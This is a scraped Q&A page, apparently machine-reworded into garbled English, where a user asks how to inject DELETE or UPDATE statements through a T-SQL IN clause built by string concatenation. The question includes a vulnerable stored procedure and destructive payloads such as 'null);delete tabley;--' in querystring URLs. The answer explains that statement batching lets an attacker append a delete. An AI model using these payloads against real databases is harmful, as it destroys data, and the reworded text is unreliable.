sql server - SQL Injection - Valid subqueries within T-SQL IN -

sql server - SQL Injection - Valid subqueries within T-SQL IN -

i trying larn sql injection , wanted inquire if other query other select executed within sql in operator.

normal in operator syntax this

select * tablex id in (select userid tabley colx='y')

i want pass in sql stmt via querystring delete users in table.

is possible if injected sql executed within in operator.

this want achieve

select * tablex id in (delete tabley)

or

select * tablex id in (update tablex set id=100 1=1)

or

select * tablex id in (exec(n'delete tabley'))

i maintain getting weird syntax errors. may not per sql spec. in case knows of valid subqueries might help me accomplish goal, please post.

edit: should have added this.

the scheme has couple of defenses.

this value passed sp parametrized value.

but 1 whole there 1 weakness

the weak point see trying exploit construction of sql string in sp using passed in value.

set @where = @where + 'id in (' + @htmlencodedparametrizedparam + ')

so have break code send in pure sql string (no ; or ) used within in operator.

edit2: coded verify @dan's answer. no avail.

create procedure hacktest @qsval nvarchar(200) = '' begin declare @sql nvarchar(1000) set @sql = 'select * adventureworks2008.person.person' + 'where personttype in (' + @qsval + ')' exec sp_executesql @sql end

below request , ms sql server profiler captured these requests

--http://localhost:11727/samplesite/default.aspx?a=null);delete%20tabley;-- exec hacktest @qsval='null);delete tabley;--' --http://localhost:11727/samplesite/default.aspx?a=null);update%20tablex%20set%20id=100;-- exec hacktest @qsval='null);update tablex set id=100;--'

no, in operator allow subquery or list of expressions:

test_expression [ not ] in ( subquery | look [ ,...n ] )

so can’t utilize delete or update statement there select statement.

however, since sql server back upwards batches, append own statement after select statement:

select … ; delete …

sql-server sql-injection